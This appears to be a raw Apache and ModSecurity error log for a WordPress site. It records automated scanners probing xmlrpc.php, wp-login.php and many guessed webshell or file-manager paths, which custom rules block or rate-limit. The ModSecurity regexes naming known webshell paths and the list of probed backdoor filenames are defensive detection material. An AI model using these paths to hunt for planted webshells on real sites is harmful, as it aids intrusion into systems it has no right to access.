[Wed Apr 22 21:46:04.633566 2026] [:error] [pid 9085:tid 9107] [client 206.0.206.18:59672] [client 206.0.206.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.0.206.18, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aejRHN-_-or9vQnlWnqaJAAAAVQ"]
[Wed Apr 22 21:46:04.647270 2026] [proxy_fcgi:error] [pid 9085:tid 9107] [client 206.0.206.18:59672] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 22:33:19.903375 2026] [:error] [pid 9085:tid 9090] [client 65.108.125.120:28466] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/robots.txt"] [unique_id "aejcL9-_-or9vQnlWnrB9gAAAUM"]
[Wed Apr 22 22:33:23.723807 2026] [:error] [pid 6252:tid 6325] [client 65.108.125.120:28474] [client 65.108.125.120] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/robots.txt"] [unique_id "aejcM-tGYuiYb1nWBpRimQAAAQ0"]
[Wed Apr 22 22:53:15.688004 2026] [:error] [pid 9085:tid 9097] [client 45.150.174.91:56558] [client 45.150.174.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.150.174.91, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aejg29-_-or9vQnlWnrMMAAAAUo"]
[Wed Apr 22 22:53:15.706586 2026] [proxy_fcgi:error] [pid 9085:tid 9097] [client 45.150.174.91:56558] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 02:29:14.520993 2026] [:error] [pid 6384:tid 6396] [client 162.243.213.124:52535] [client 162.243.213.124] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.243.213.124, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aekTej58M3t15ICeWHXk-QAAAMk"]
[Thu Apr 23 02:29:14.532964 2026] [proxy_fcgi:error] [pid 6384:tid 6396] [client 162.243.213.124:52535] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 02:29:16.828030 2026] [:error] [pid 6384:tid 6410] [client 162.243.213.124:52535] [client 162.243.213.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aekTfD58M3t15ICeWHXlDQAAANc"]
[Thu Apr 23 02:29:17.243515 2026] [:error] [pid 9085:tid 9094] [client 162.243.213.124:53328] [client 162.243.213.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aekTfd-_-or9vQnlWnpN3AAAAUc"]
[Thu Apr 23 02:29:17.652945 2026] [:error] [pid 9085:tid 9108] [client 162.243.213.124:53446] [client 162.243.213.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aekTfd-_-or9vQnlWnpN4AAAAVU"]
[Thu Apr 23 07:21:35.273310 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:35.593286 2026] [proxy_fcgi:error] [pid 59700:tid 59724] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:35.904412 2026] [proxy_fcgi:error] [pid 59700:tid 59715] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:36.738307 2026] [proxy_fcgi:error] [pid 59700:tid 59715] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:37.068331 2026] [proxy_fcgi:error] [pid 59700:tid 59721] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:37.434313 2026] [proxy_fcgi:error] [pid 59700:tid 59715] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:37.744315 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:38.072405 2026] [proxy_fcgi:error] [pid 59700:tid 59703] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:38.764301 2026] [proxy_fcgi:error] [pid 59700:tid 59706] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:39.077319 2026] [proxy_fcgi:error] [pid 59700:tid 59703] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:39.416288 2026] [proxy_fcgi:error] [pid 59700:tid 59706] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:39.747293 2026] [proxy_fcgi:error] [pid 59700:tid 59718] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:40.078285 2026] [proxy_fcgi:error] [pid 59700:tid 59702] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:40.420388 2026] [proxy_fcgi:error] [pid 59700:tid 59712] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:40.825308 2026] [proxy_fcgi:error] [pid 59700:tid 59718] [client 89.251.0.139:41485] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:41.225030 2026] [:error] [pid 59700:tid 59706] [client 89.251.0.139:41485] [client 89.251.0.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aelYBZXyGZJFeAIDWtlNbQAAAUQ"]
[Thu Apr 23 07:21:41.832295 2026] [proxy_fcgi:error] [pid 65000:tid 65055] [client 89.251.0.136:30031] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:42.141303 2026] [proxy_fcgi:error] [pid 65000:tid 65039] [client 89.251.0.136:30031] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:42.459550 2026] [proxy_fcgi:error] [pid 65000:tid 65056] [client 89.251.0.136:30031] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:46.299953 2026] [:error] [pid 65000:tid 65056] [client 89.251.0.136:30031] [client 89.251.0.136] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/uploads/bn_1_1754420677.phtml"] [unique_id "aelYCr6vRb9j6psK2ZaAnQAAAhc"]
[Thu Apr 23 07:21:48.141885 2026] [:error] [pid 42971:tid 43003] [client 89.251.0.138:27689] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aelYDDEP2_5RswrH8bGc2gAAABE"]
[Thu Apr 23 07:21:49.776388 2026] [:error] [pid 42971:tid 43005] [client 89.251.0.145:34525] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aelYDTEP2_5RswrH8bGc7wAAABM"]
[Thu Apr 23 07:21:57.957299 2026] [proxy_fcgi:error] [pid 59700:tid 59718] [client 89.251.0.126:24691] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:21:59.955728 2026] [:error] [pid 59700:tid 59714] [client 89.251.0.126:24691] [client 89.251.0.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aelYF5XyGZJFeAIDWtlOBQAAAUw"]
[Thu Apr 23 07:22:01.777311 2026] [proxy_fcgi:error] [pid 42971:tid 43001] [client 89.251.0.135:43779] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:22:02.183865 2026] [proxy_fcgi:error] [pid 42971:tid 42988] [client 89.251.0.135:43779] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:22:02.457924 2026] [:error] [pid 42971:tid 42993] [client 89.251.0.135:43779] [client 89.251.0.135] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aelYGjEP2_5RswrH8bGdMgAAAAc"]
[Thu Apr 23 07:22:03.377946 2026] [proxy_fcgi:error] [pid 64967:tid 64986] [client 89.251.0.150:60619] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:22:05.499280 2026] [:error] [pid 64967:tid 64992] [client 89.251.0.150:60619] [client 89.251.0.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aelYHYAV4GfOOdX8QzoG1QAAAZc"]
[Thu Apr 23 07:22:06.453289 2026] [:error] [pid 42971:tid 43008] [client 89.251.0.131:20815] [client 89.251.0.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aelYHjEP2_5RswrH8bGdWgAAABY"]
[Thu Apr 23 07:22:07.089989 2026] [:error] [pid 64998:tid 65013] [client 89.251.0.145:59265] [client 89.251.0.145] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aelYH4V5EysYcTLjmwjntQAAAcs"]
[Thu Apr 23 07:22:07.723176 2026] [:error] [pid 64967:tid 64977] [client 89.251.0.136:54597] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aelYH4AV4GfOOdX8QzoG9wAAAYg"]
[Thu Apr 23 07:22:08.418151 2026] [:error] [pid 42972:tid 43038] [client 89.251.0.119:51673] [client 89.251.0.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aelYIMOAb-3sOknsk4cUYAAAAFY"]
[Thu Apr 23 07:22:09.668847 2026] [:error] [pid 64998:tid 65011] [client 89.251.0.132:43623] [client 89.251.0.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aelYIYV5EysYcTLjmwjn6AAAAck"]
[Thu Apr 23 07:22:10.614657 2026] [:error] [pid 64998:tid 65005] [client 89.251.0.115:39117] [client 89.251.0.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aelYIoV5EysYcTLjmwjoAAAAAcM"]
[Thu Apr 23 07:22:11.296478 2026] [proxy_fcgi:error] [pid 59700:tid 59719] [client 89.251.0.140:31677] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:22:11.987603 2026] [:error] [pid 59700:tid 59725] [client 89.251.0.140:31677] [client 89.251.0.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aelYI5XyGZJFeAIDWtlOnAAAAVc"]
[Thu Apr 23 07:22:12.611164 2026] [proxy_fcgi:error] [pid 43083:tid 43088] [client 89.251.0.138:48797] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:22:12.916622 2026] [proxy_fcgi:error] [pid 43083:tid 43086] [client 89.251.0.138:48797] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 07:22:13.225062 2026] [:error] [pid 43083:tid 43104] [client 89.251.0.138:48797] [client 89.251.0.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aelYJTC5hrvNXosL83K-wQAAANM"]
[Thu Apr 23 07:22:14.157041 2026] [:error] [pid 42971:tid 43005] [client 89.251.0.136:43689] [client 89.251.0.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aelYJjEP2_5RswrH8bGduAAAABM"]
[Thu Apr 23 09:51:09.383317 2026] [proxy_fcgi:error] [pid 42972:tid 43040] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:11.061316 2026] [proxy_fcgi:error] [pid 42972:tid 43017] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:11.740480 2026] [proxy_fcgi:error] [pid 42972:tid 43028] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:12.020302 2026] [proxy_fcgi:error] [pid 42972:tid 43031] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:12.306293 2026] [proxy_fcgi:error] [pid 42972:tid 43032] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:12.602756 2026] [proxy_fcgi:error] [pid 42972:tid 43019] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:12.886665 2026] [proxy_fcgi:error] [pid 42972:tid 43039] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:13.183343 2026] [proxy_fcgi:error] [pid 42972:tid 43030] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:13.757689 2026] [proxy_fcgi:error] [pid 42972:tid 43036] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:14.045287 2026] [proxy_fcgi:error] [pid 42972:tid 43022] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:14.342296 2026] [proxy_fcgi:error] [pid 42972:tid 43020] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:14.628876 2026] [proxy_fcgi:error] [pid 42972:tid 43021] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:14.907391 2026] [proxy_fcgi:error] [pid 42972:tid 43023] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:15.222927 2026] [proxy_fcgi:error] [pid 42972:tid 43035] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:15.534305 2026] [proxy_fcgi:error] [pid 42972:tid 43028] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:15.812773 2026] [proxy_fcgi:error] [pid 42972:tid 43037] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:16.106336 2026] [proxy_fcgi:error] [pid 42972:tid 43038] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:16.428299 2026] [proxy_fcgi:error] [pid 42972:tid 43016] [client 91.230.225.207:30833] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:20.766023 2026] [:error] [pid 42972:tid 43026] [client 91.230.225.207:30833] [client 91.230.225.207] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "ael7GMOAb-3sOknsk4c6cQAAAEo"]
[Thu Apr 23 09:51:22.158846 2026] [:error] [pid 43083:tid 43086] [client 91.230.225.13:58183] [client 91.230.225.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "ael7GjC5hrvNXosL83IL0QAAAME"]
[Thu Apr 23 09:51:23.573287 2026] [proxy_fcgi:error] [pid 64967:tid 64991] [client 185.192.71.39:49637] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:24.414709 2026] [:error] [pid 64967:tid 64982] [client 185.192.71.39:49637] [client 185.192.71.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tinyfilemanager.php"] [unique_id "ael7HIAV4GfOOdX8QzooagAAAY0"]
[Thu Apr 23 09:51:25.270303 2026] [proxy_fcgi:error] [pid 25635:tid 25639] [client 91.230.225.199:59381] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:25.549885 2026] [proxy_fcgi:error] [pid 25635:tid 25644] [client 91.230.225.199:59381] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:25.821978 2026] [:error] [pid 25635:tid 25645] [client 91.230.225.199:59381] [client 91.230.225.199] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "ael7HcRxv6UsgRGKB3LzVQAAAQY"]
[Thu Apr 23 09:51:26.657287 2026] [proxy_fcgi:error] [pid 64998:tid 65016] [client 185.192.71.23:36613] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:31.028016 2026] [:error] [pid 64998:tid 65003] [client 185.192.71.23:36613] [client 185.192.71.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "ael7I4V5EysYcTLjmwhrHQAAAcE"]
[Thu Apr 23 09:51:31.857488 2026] [:error] [pid 65000:tid 65056] [client 91.230.225.23:52361] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "ael7I76vRb9j6psK2ZbzOwAAAhc"]
[Thu Apr 23 09:51:32.408757 2026] [:error] [pid 65000:tid 65050] [client 185.192.71.30:50993] [client 185.192.71.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "ael7JL6vRb9j6psK2ZbzRQAAAhE"]
[Thu Apr 23 09:51:35.356003 2026] [:error] [pid 64998:tid 65009] [client 185.192.71.35:22229] [client 185.192.71.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "ael7J4V5EysYcTLjmwhrSwAAAcc"]
[Thu Apr 23 09:51:35.926004 2026] [:error] [pid 64998:tid 65026] [client 185.192.71.36:49355] [client 185.192.71.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "ael7J4V5EysYcTLjmwhrVQAAAdg"]
[Thu Apr 23 09:51:36.492918 2026] [:error] [pid 64998:tid 65009] [client 91.230.225.23:29655] [client 91.230.225.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "ael7KIV5EysYcTLjmwhrZwAAAcc"]
[Thu Apr 23 09:51:37.362141 2026] [:error] [pid 43083:tid 43105] [client 185.192.71.28:30513] [client 185.192.71.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "ael7KTC5hrvNXosL83IMgwAAANQ"]
[Thu Apr 23 09:51:37.926304 2026] [proxy_fcgi:error] [pid 64998:tid 65006] [client 91.230.225.11:46729] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 09:51:38.475308 2026] [:error] [pid 64998:tid 65014] [client 91.230.225.11:46729] [client 91.230.225.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "ael7KoV5EysYcTLjmwhrswAAAcw"]
